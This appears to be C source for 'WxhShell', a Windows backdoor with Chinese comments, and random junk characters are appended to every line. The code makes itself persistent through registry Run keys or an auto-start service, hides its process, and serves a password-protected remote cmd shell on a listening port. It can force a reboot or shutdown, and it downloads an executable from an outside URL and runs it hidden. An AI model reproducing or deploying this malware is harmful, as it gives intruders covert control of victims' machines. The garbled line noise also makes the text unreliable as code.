// 下载执行文件 *C(XGX\?-
if(wscfg.ws_downexe) { [.iz<Yh
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i%_nH"h
WinExec(wscfg.ws_filenam,SW_HIDE); 2}R)0][W
} +l$BUX
~4tu*\P
if(!OsIsNt) { |N>TPK&Xt
// 如果时win9x，隐藏进程并且设置为注册表启动 &mvC<_1n
HideProc(); Z4Qq#iHZR
StartWxhshell(lpCmdLine); aV8]?E5G
} ny~~xQ"
else ygp NMq#?X
if(StartFromService()) nz]+G2h
// 以服务方式启动 Y;XEC;PXD
StartServiceCtrlDispatcher(DispatchTable); ) crhF9!4
else gg%OOvaj5
// 普通方式启动 _gF )aE
StartWxhshell(lpCmdLine); Dos`lh
pTJJ.#$CEF
return 0; {)0"?$C_H
} t1YVE%`w
tcf>9YsOr
p9)'nU'\t
$/Q*@4t
=========================================== *G#W],~0
{aWTT&-N
<OEu 4,~:
h>+,ba"D
%9A6c(L
I vQ]-A}N
" FHS6Mk26
bgjo_!J+Pp
#include <stdio.h> V4PD]5ZW
#include <string.h> F\Gi;6a
#include <windows.h> Vn6g(:\w
#include <winsock2.h> Hinz6k6!
#include <winsvc.h> s^b2H !~
#include <urlmon.h> x%JtI'sg
RS~jHwIh
#pragma comment (lib, "Ws2_32.lib") ~%QVjzMC
#pragma comment (lib, "urlmon.lib") /JfRy%31
8rXu^
#define MAX_USER 100 // 最大客户端连接数 7N/v
#define BUF_SOCK 200 // sock buffer a8Jn.!
#define KEY_BUFF 255 // 输入 buffer :U>o;
nTweQ
#define REBOOT 0 // 重启 nxP>IfSA
#define SHUTDOWN 1 // 关机 uFIr.U$V
d3AOuVUf
#define DEF_PORT 5000 // 监听端口 $e7dE$eH
8-c1q*q)
#define REG_LEN 16 // 注册表键长度 PG8|w[V1"
#define SVC_LEN 80 // NT服务名长度 r(IQ)\GR
wPYz&&W
// 从dll定义API SXn1v.6
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); YT6<1-E#
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iXt >!f*
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @JS O=8
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j^}p'w Tu{
v_PhJKE
// wxhshell配置信息 Lf|5miO
struct WSCFG { K%ltB&
int ws_port; // 监听端口 TpLlbsd
char ws_passstr[REG_LEN]; // 口令 cTpAU9|(
int ws_autoins; // 安装标记, 1=yes 0=no FV>LD% uu
char ws_regname[REG_LEN]; // 注册表键名 |T~C($9
char ws_svcname[REG_LEN]; // 服务名 +(*S@V$c
char ws_svcdisp[SVC_LEN]; // 服务显示名 y,i:BQJ<
char ws_svcdesc[SVC_LEN]; // 服务描述信息 p=vu<xXtD
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q$Z.5EN
int ws_downexe; // 下载执行标记, 1=yes 0=no !SAjV)
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x'OE},>i
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BD+V{x}P
gf()NfUvRH
}; 8_6\>hW&
T> cvV
// default Wxhshell configuration 3>Ts7 wM
struct WSCFG wscfg={DEF_PORT, fJ_d,4
"xuhuanlingzhe", Mvq5s+.
1, ]p/f@j?LU
"Wxhshell", _,Wb`P
"Wxhshell", m0+X 109
"WxhShell Service", ,*SoV~
"Wrsky Windows CmdShell Service", vs-%J6}G
"Please Input Your Password: ", F3$@6J8<[z
1, Z<6XB{Nh\
"http://www.wrsky.com/wxhshell.exe", RHc63b\
"Wxhshell.exe" kXGJZ$
}; (he cvJ
Ww&~ZZZ {
// 消息定义模块 ],l w
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6KuB<od
char *msg_ws_prompt="\n\r? for help\n\r#>"; AsyJDt'i
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; x9Veg4Z7
char *msg_ws_ext="\n\rExit."; =~M%zdIXv
char *msg_ws_end="\n\rQuit."; ;fLYO6
char *msg_ws_boot="\n\rReboot..."; vovc,4}
char *msg_ws_poff="\n\rShutdown..."; LWQ.!;HYp
char *msg_ws_down="\n\rSave to "; UX3 ]cr
d7 )&Z:
char *msg_ws_err="\n\rErr!"; ]PQ] f*Ik>
char *msg_ws_ok="\n\rOK!"; 34ij5bko_)
7#K%Bo2pG
char ExeFile[MAX_PATH]; VhdMKq~`
int nUser = 0; =WFn+#&^
HANDLE handles[MAX_USER]; i7g+8zd8d
int OsIsNt; am>X7
<i9pJGW
SERVICE_STATUS serviceStatus; KLqn`m`O;
SERVICE_STATUS_HANDLE hServiceStatusHandle; !vNZ-}
m/W0vPM1
// 函数声明 kkfwICBI
int Install(void); ~ KNdV
int Uninstall(void); 9Yih%d,
int DownloadFile(char *sURL, SOCKET wsh); F0,-7<G
int Boot(int flag); Y{yN*9a79
void HideProc(void); H]v"_!(\
int GetOsVer(void); {oIv%U9
int Wxhshell(SOCKET wsl); a o_A%?Ld
void TalkWithClient(void *cs); 2p3ep,
int CmdShell(SOCKET sock); UO%VuC5B
int StartFromService(void); C~\/FrO?
int StartWxhshell(LPSTR lpCmdLine); K}^Jf;
e~7h8?\.q
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); = ~{n-rMF
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &%YFO'>>}
('1k%`R%
// 数据结构和表定义 n7UZ&ab
SERVICE_TABLE_ENTRY DispatchTable[] = 2q2;Uo`"S.
{ YXC?q
{wscfg.ws_svcname, NTServiceMain}, Mv9q-SIc[
{NULL, NULL} #@h3#IC
}; _H#l&bL@C
rx^vh%/ Q!
// 自我安装 J7.}2
int Install(void) 6 isz
{ .\*3t/R=X
char svExeFile[MAX_PATH]; ~'/I[y4t
HKEY key; IT \Pj_
strcpy(svExeFile,ExeFile); S30@|@fTz
|JVeW[C
// 如果是win9x系统，修改注册表设为自启动 i?^Cc\gH
if(!OsIsNt) { F+e J9
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G-FTyIP>'
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M,YlhL
RegCloseKey(key); ,z}wR::%
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m.~&n!1W*`
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {Kp<T
RegCloseKey(key); s^_E'j$
return 0; F\.n42Tz
} a7G0
} U:]b&I
} 1\d$2N"
else { *!De(lhEc
M,[u}Rf^w
// 如果是NT以上系统，安装为系统服务 SfE^'G\
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); SU, t,i
if (schSCManager!=0) Vy = fm
{ 0D1yG(ck
SC_HANDLE schService = CreateService g0.D36
( Y[8w0ve-g
schSCManager, dG{`Jk
wscfg.ws_svcname, U5mec167
wscfg.ws_svcdisp, an3HKfv
SERVICE_ALL_ACCESS, t"1'B!4
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &/lJ7=Nq
SERVICE_AUTO_START, q>&F%;q1]
SERVICE_ERROR_NORMAL, 1QRE-ndc
svExeFile, tkdhT8_
NULL, Y_`D5c:
NULL, MBCA%3z08
NULL, =$5[uI2
NULL, iUh_rX9A"
NULL GK}?*Lfs
); z]>aWH}$
if (schService!=0) U'LO;s04m
{ jG{}b6
CloseServiceHandle(schService); -5\aL"?4
CloseServiceHandle(schSCManager); ,TU!W|($
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G*BM'^0+
strcat(svExeFile,wscfg.ws_svcname); ~nb%w?vv
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :EyH'v
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |aN0|O2
RegCloseKey(key); $XFG1?L!
return 0; ~U8#Iq1
} 9G_=)8sOV
} ;JFE7\-mC
CloseServiceHandle(schSCManager); I(Nsm3L
} 7V0:^Jov
} *D<S \6=
h. i&[RnX
return 1; -/
} UF<|1;'
qx{.`AaZW
// 自我卸载 ,-CDF)~G=3
int Uninstall(void) CpS'2@6
{ OJ UM Y<5
HKEY key; EhB9M!Y`@
G !1- 20
if(!OsIsNt) { C4Z~9fzT
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `1EBnL_1
RegDeleteValue(key,wscfg.ws_regname); <zZAVGb4I
RegCloseKey(key); (%#d._j>fZ
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PR|Trnd&D
RegDeleteValue(key,wscfg.ws_regname); )[oU|!@
RegCloseKey(key); NH'RU`U)
return 0; zp4ru\
} #j-,#P@
} !+uMH!
} YGWb!|Z$
else { h| UT/:
+{hxEDz
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EE}NA{b
if (schSCManager!=0) CHeG{l)<r
{ mApn(&
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8~HC0o\2
if (schService!=0) d`~#uN {
{ Km,tfM5j
if(DeleteService(schService)!=0) { TdKl`"Iy
CloseServiceHandle(schService); @O45s\4-*
CloseServiceHandle(schSCManager); +=k?Dp[
return 0; l42m81x"
} ik$wS#1+L
CloseServiceHandle(schService); &V=54n=O?
} .qK=lHxT
CloseServiceHandle(schSCManager); =rBFMTllM
} SAH\'v0
} *<Ddn&_
v,D_^?]@
return 1; rM?D7a{q
} mSj[t
l4/TJ%`MG
// 从指定url下载文件 vj^UF(X
int DownloadFile(char *sURL, SOCKET wsh) :.35pp,0
{ o[v`Am?v
HRESULT hr; /6q/`vx@
char seps[]= "/"; p9s~WD/K
char *token; ~qqtFjlG^
char *file; xlwsZm{V
char myURL[MAX_PATH]; NDg]s2T
char myFILE[MAX_PATH]; E{fnh50^Q.
ks r5P~
strcpy(myURL,sURL); ^LNc
token=strtok(myURL,seps); qXhrK /
while(token!=NULL) 6)3eB{$;
{ b@X@5SJFW
file=token; 0iL8i#y*
token=strtok(NULL,seps); ZH}NlEn
} }fCM_w
l3afuD:
GetCurrentDirectory(MAX_PATH,myFILE); s{,e^T
strcat(myFILE, "\\"); q@sH@-z4]
strcat(myFILE, file); q#a21~S<
send(wsh,myFILE,strlen(myFILE),0); Orb(xLChJ
send(wsh,"...",3,0); +,-rb
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q&#:M>!|
if(hr==S_OK) Ck:J
return 0; wMUnZHd{|
else EsWszpRqb
return 1; j41:]6
64vSJx>u
} 6,)y{/ENC
RnrM rOh
// 系统电源模块 G;m"ao"2
int Boot(int flag) V[mQ;:=
{ 8`t%QhE2
HANDLE hToken; kW~F*
TOKEN_PRIVILEGES tkp; GVM#Xl}w9
xY S%dLE"
if(OsIsNt) { uqUo4z5T
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8<kme"%s
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %_[-[t3
tkp.PrivilegeCount = 1; +B m+Pj>
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PsgzDhRv
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); f3N:MH-c
if(flag==REBOOT) { BQU5[8l
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l(5-Cr
return 0; r+\z0_' w6
} )ziQ=k6d6
else { ptR
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) O0~d6Ba
return 0; /pU6trIM
} _PM<25Y,@
} {K:Utdu($q
else { VTWE-:r
if(flag==REBOOT) { $vBU}~l7
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) AD\<}/3U
return 0; m GhJn
} IDh`0/i]
else { mr!I}I7x&x
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) pQ 6#L
return 0; Q:O>kCDV
} &HK s >
} 0s|LK
[M^[61
return 1; XO#)i6}G
} -o_TC
o#xg:m_py
// win9x进程隐藏模块 |{)xC=
void HideProc(void) <%D"eD
{ Sx)Il~ x
Z9&D'n)
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ig}e@]
if ( hKernel != NULL ) 9S%gVNxn
{ 3Jm'q,TC
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B bw1k
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %hbLT{w
FreeLibrary(hKernel); (?BgT i\
} $p3Wjf:bH
wDSUMB<?
return; loUwRz
} p=+*g.,O
4spaw?j
// 获取操作系统版本 0BB@E(*
int GetOsVer(void) D}/=\J/
{ Ws*PMK.0
OSVERSIONINFO winfo; k!/_/^{
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qf-k&d
GetVersionEx(&winfo); ~}IvY?!;
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z8(R.TB
return 1; GHJ=-9{YL
else ; G59}d p~
return 0; QHzX 5$IM
} =x0"6gTz>
@=0r3
// 客户端句柄模块 @`;Y/',
int Wxhshell(SOCKET wsl) 2v9s@k/k)6
{ rrY{Jf9>
SOCKET wsh; Cre0e$ a
struct sockaddr_in client; R_Gq8t$
DWORD myID; 0"^oTmQN
mrhp)yF
while(nUser<MAX_USER) rZ.a>'T4
{ sL7`=a.&T
int nSize=sizeof(client); ]EM)_:tRf
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); LbV]JP
if(wsh==INVALID_SOCKET) return 1; 32 1={\X
9<A\npD
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L_~I~
if(handles[nUser]==0) /y](mu"!
closesocket(wsh); UJz4>JF
else K_&c5(-(_
nUser++; dx13vZ3[U
} Jl>at
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2u~c/JryN
W\>^[c/
return 0; 8XYD L]I'
} [^U;
A)RI:?+
// 关闭 socket Tw}?(\ya
void CloseIt(SOCKET wsh) ?K4.L?D#J
{ KO-Zz&2f
closesocket(wsh); oBRm\8 2|
nUser--; V/(`Ek-
ExitThread(0); *CH!<VB/
} 8g[(nxI~
#Z|%0r_~
// 客户端请求句柄 . QQ?w
void TalkWithClient(void *cs) )e|$K= D
{ N;C"X4rV
iJ`%yg,
SOCKET wsh=(SOCKET)cs; ]^*_F
char pwd[SVC_LEN]; :$M9XZ~\
char cmd[KEY_BUFF]; l$k]O
char chr[1]; U^[cYTG
int i,j; GhG%>U#&a
MPKpS3VS
while (nUser < MAX_USER) { @tr&R==([
&TP:yA[
if(wscfg.ws_passstr) { u[V4OU}%
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X+dR<GN+YX
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q$xa
//ZeroMemory(pwd,KEY_BUFF); uQ[vgNe*m
i=0; zB#_:(1qK
while(i<SVC_LEN) { c!\.[2n
CN\|_y
// 设置超时 Y|%anTP
fd_set FdRead; U6c)"^\
struct timeval TimeOut; D'7A2f
FD_ZERO(&FdRead); a&$Zpf!!
FD_SET(wsh,&FdRead); OLk9A
TimeOut.tv_sec=8; 1.Haf
TimeOut.tv_usec=0; pT("2:)x
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); aL8p"iSG9
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); TqS2!/jp
t[]['Iosd
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c@RT$Q9j
pwd=chr[0]; OD
if(chr[0]==0xd || chr[0]==0xa) { ^y&q5p jj
pwd=0; EX[B/YH
break; nGq]$h
} TA Ftcs:
i++; ?r{TOjn
} ;M}itM
lbQ6 a
// 如果是非法用户，关闭 socket Ap11b|v
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r0)JUc}Fyq
} y\^@p=e
7#~4{rjg
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ctp?y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "Z;~Y=hC13
*,"jF!C&[
while(1) { L<bYRGz
X.s*>'
ZeroMemory(cmd,KEY_BUFF); 3Bejp+xX
hdo&\Q2D8
// 自动支持客户端 telnet标准 uCw>}3
j=0; Rb)|66&3&
while(j<KEY_BUFF) { T36x=LX
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fi=0{
cmd[j]=chr[0]; gXLCRn!iR
if(chr[0]==0xa || chr[0]==0xd) { CK2B
cmd[j]=0; B1E$v(P3M
break; >L8?=>>?\
} K]X`sH:
j++; VKy5=2&
} G%S6$@:
4:D:|r
// 下载文件 7!pLK&_
if(strstr(cmd,"http://")) { rOW;yJ[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); R<|ejw
if(DownloadFile(cmd,wsh)) "#2pT H~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); sm1;MF]/u
else {=3B)+N
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !n eo\
} q]TqI' o
else { FqwIJ|ct
J_PH7Z*=,
switch(cmd[0]) { r?pZ72q
*<IR9.~{6%
// 帮助 Rv<L#!; t
case '?': { jJia.#.Ze
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C`NmZwL
break; F}D3,&9N
} }~F~hf>s
// 安装 @.gPJMA
case 'i': { K\(6rS}N
if(Install()) yAG+] r
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %G[/H.7s-
else Yl~$V(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mw4JQ\
break; cvfUyp;P
} BqB|Fo
// 卸载 n(>C'<otj
case 'r': { ,hWcytzEw
if(Uninstall()) & fu z2xv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WL U}
else PNpu*#Z`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z]=8eV\
break; d2~l4IL)~
} 5/?P|T
// 显示 wxhshell 所在路径 ^H3m\!h
case 'p': { zTY;8r+
char svExeFile[MAX_PATH]; L^FcS\r;
strcpy(svExeFile,"\n\r"); #!})3_Qc(y
strcat(svExeFile,ExeFile); j (ygQ4T
send(wsh,svExeFile,strlen(svExeFile),0); XA{F:%
break; AbfZ++aJ
} BvK QlT
// 重启 Vb!O8xV4;+
case 'b': { -Sz_mr
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); g)R1ObpZ
if(Boot(REBOOT)) S!hXf|*0[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); :q (&$
else { uel{`T[S
closesocket(wsh); m Ni2b*k
ExitThread(0); &= eYr{
} I[D8""U
break; {@.Vh]
} ,T|x)"uA`
// 关机 VagT_D
case 'd': { U>F{?PReA?
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Qxa{UQh}9
if(Boot(SHUTDOWN)) }k7'"`#?"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); h@1!T
else { q \O Ou
closesocket(wsh); ,_ .v_
ExitThread(0); O0huqF$K
} |"]PCb)!
break; 57Z-
} h|)vv4-d|
// 获取shell vH[Pb#f-
case 's': { J7+w4q~cB`
CmdShell(wsh); )9L/sKz
closesocket(wsh); rs-,0'z,7
ExitThread(0); Hd &{d+B
break; lAi2,bz"
} WZn.;
// 退出 yI3kvh
case 'x': { [[+ pMI
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,}SCa'PB
CloseIt(wsh); 9Q.#\
break; "%6/a7S
} W?Ww2Lo%Y
// 离开 =L]Q2V}
case 'q': { 5@!st
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Log|%P\
closesocket(wsh); QLKK.]
WSACleanup(); ytAWOt}`
exit(1); *d*,Hqn
break; I)SG wt-
} ~nY]o"8D
} z=Cr7-
} +.yT/y"
DN] v_u+}
// 提示信息 ~bK9R0|<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $XnPwOj
} G}nO@
} v|';!p|
WyhhCR=;
return; Ea $aUORm
} j2 %^qL
SU.ythU2,c
// shell模块句柄 gABr@>Vv
int CmdShell(SOCKET sock) *%5{'
{ na+d;h*~y
STARTUPINFO si; C})'\1O%
ZeroMemory(&si,sizeof(si)); p9eRZVy/
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K%5"u'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pv)`%<
PROCESS_INFORMATION ProcessInfo; 2{|$T2?e
char cmdline[]="cmd"; *# {z3{+
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0%`4px4J
return 0; qQ]]~F
} %kshQ%P)?
xg@NQI@7
// 自身启动模式 #KlCZ~s
int StartFromService(void) (qMj-l
{ ,F6=b/eZ
typedef struct +j14Q$
{ l`9t}
DWORD ExitStatus; ;E^K.6
DWORD PebBaseAddress; s@4nWe
DWORD AffinityMask; a?h*eAAc.
DWORD BasePriority; Q n)d2-<
ULONG UniqueProcessId; OWq'[T4
ULONG InheritedFromUniqueProcessId; 1Tp/MV/>
} PROCESS_BASIC_INFORMATION; `_ %S
m7c*)"^
PROCNTQSIP NtQueryInformationProcess; pmvT$;7I
HvwYm.$zE
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jEdtJEPa
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K6JVg$
Ga>uFb}W~
HANDLE hProcess; @&F@I3`{
PROCESS_BASIC_INFORMATION pbi; 75T_Dx(H
?tdd3ai>
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #65^w=Sp}
if(NULL == hInst ) return 0; UB`ToE|Ii
wBj-m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^>x|z.
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); rHge~nY<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AI vXb\wL
^[E'1$D
if (!NtQueryInformationProcess) return 0; M,5j5<7
ocbB&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A5:qKaAq
if(!hProcess) return 0; \`<cH#
`^JJ&)4iv
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _ZB\L^j)
cLa]D[H
CloseHandle(hProcess); Cb t{H}I3
B5V_e!*5F*
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -{XRA6
if(hProcess==NULL) return 0; YpAg
{#P`^g
HMODULE hMod; WW2Ob*
char procName[255]; D-Vai#Cd
unsigned long cbNeeded; fA%z*\
]?1Y e8>Y<
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /M~!sPW&?
qSqI7ptA\
CloseHandle(hProcess); .MW@;
-4rDbDsr
if(strstr(procName,"services")) return 1; // 以服务启动 `(+o=HsD
1axQ)},o@p
return 0; // 注册表启动 r"2V
} ev0oO+u
PjT=$]
// 主模块 "vYE+
int StartWxhshell(LPSTR lpCmdLine) (6CN/A{qe
{ $8USyGi3J
SOCKET wsl; 5ercD
BOOL val=TRUE; Ok7t@l$
int port=0; etT +
struct sockaddr_in door; pMg3fUIM
Om'+]BBN
if(wscfg.ws_autoins) Install(); )k&a}u5y
fJ\sguZ
port=atoi(lpCmdLine); 9odJr]
KTvzOI8
if(port<=0) port=wscfg.ws_port; JXG"M#{
& gJV{V5Ay
WSADATA data; n,eJ$2!J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \\BCcr\l
L%v^s4@
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BR^7_q4q
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gj\)CBOv
door.sin_family = AF_INET; ~^u16z,
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4L-:*b_v\
door.sin_port = htons(port); I/VxZ8T
Uie?9&3
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JGC=(;
closesocket(wsl); )eUW5 tS
return 1; Eh-n
} 6:U$w7P0 e
YY?a>j."a
if(listen(wsl,2) == INVALID_SOCKET) { BR'I+lQ
closesocket(wsl); ) xbO6V
return 1; Lb{e,JH
} KZ!3j_pKy
Wxhshell(wsl); $F.([?)k?
WSACleanup(); i>EgG5iJ
uE[(cko
return 0; 2([2Pb3<"
L,d LE-L
} 2L AYDaS
Ggh.dZI4
// 以NT服务方式启动 $Vc~/>
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) H$af/^
{ ^:9$@+a
DWORD status = 0; !-m&U4Ku6o
DWORD specificError = 0xfffffff; Ngb(F84H?
< RCLI|
serviceStatus.dwServiceType = SERVICE_WIN32; aNyvNEV3C
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,uzN4_7u
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; LlBN-9p
serviceStatus.dwWin32ExitCode = 0; \#68;)+=
serviceStatus.dwServiceSpecificExitCode = 0; R*|LI
serviceStatus.dwCheckPoint = 0; @&D?e:|!U
serviceStatus.dwWaitHint = 0; _U;eN|Ww
[-&L8Un
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !6Sd(2
if (hServiceStatusHandle==0) return; 3E f1bhi
& cNy
status = GetLastError(); 2_Wg!bq
if (status!=NO_ERROR) Cf B.ZT
{ _"4xKh)
serviceStatus.dwCurrentState = SERVICE_STOPPED; *9)SmSs
serviceStatus.dwCheckPoint = 0; j@Yi`a(sdm
serviceStatus.dwWaitHint = 0; %{6LUn
serviceStatus.dwWin32ExitCode = status; \5Vde%!$Z
serviceStatus.dwServiceSpecificExitCode = specificError; sH[ -W-
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fYE(n8W3
return; C"lJl k9g^
} 9Lh|DK,nV/
"P)*FT
serviceStatus.dwCurrentState = SERVICE_RUNNING; y7KzW*>g:
serviceStatus.dwCheckPoint = 0; aA-
serviceStatus.dwWaitHint = 0; *&Z7m^`FQ
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); DO7W}WU
} $D31Q[p=+
T32BnmB{
// 处理NT服务事件，比如：启动、停止 `nUO l
VOID WINAPI NTServiceHandler(DWORD fdwControl) Og;-B0,A
{ |^28\sm2e
switch(fdwControl) Yxv9
{ %AOIKK5
case SERVICE_CONTROL_STOP: `Q+moX
serviceStatus.dwWin32ExitCode = 0; 7u\*_mrv
serviceStatus.dwCurrentState = SERVICE_STOPPED; gPC*b+
serviceStatus.dwCheckPoint = 0; Wlh~)
serviceStatus.dwWaitHint = 0; pf4 ^Bk}e
{ D@EO=08<b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7VK}Dy/Vvn
} 4/X/>Y1
return; 1_$xSrwcF
case SERVICE_CONTROL_PAUSE: "uLjIIl
serviceStatus.dwCurrentState = SERVICE_PAUSED; 5>6PH+Oq
break; B= keBO](@
case SERVICE_CONTROL_CONTINUE: e&eW|E
serviceStatus.dwCurrentState = SERVICE_RUNNING; (wc03,K^
break; E&yD8=vw
case SERVICE_CONTROL_INTERROGATE: >hY" 3
break; _WX#a|4h{
}; 4`#F^2r!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); U $Qv>7
} Qr#1u
6)pH|d.FR
// 标准应用程序主函数 * y^OV_n-8
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) J==SZ v
{ E^w:KC2@
y80ykGPT\&
// 获取操作系统版本 dk8wIa"K`
OsIsNt=GetOsVer(); 2tayP@$
GetModuleFileName(NULL,ExeFile,MAX_PATH); iAY!oZR(WT
hP J4Oj1O
// 从命令行安装 %iJ%{{f`
if(strpbrk(lpCmdLine,"iI")) Install(); 93[DAs
x*oWa,
// 下载执行文件 79zJ\B_
if(wscfg.ws_downexe) { ~.PP30'
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) L]a`"CH:a$
WinExec(wscfg.ws_filenam,SW_HIDE); i` A
} n(~\l#o@
TG n-7 88
if(!OsIsNt) { l0*Gb
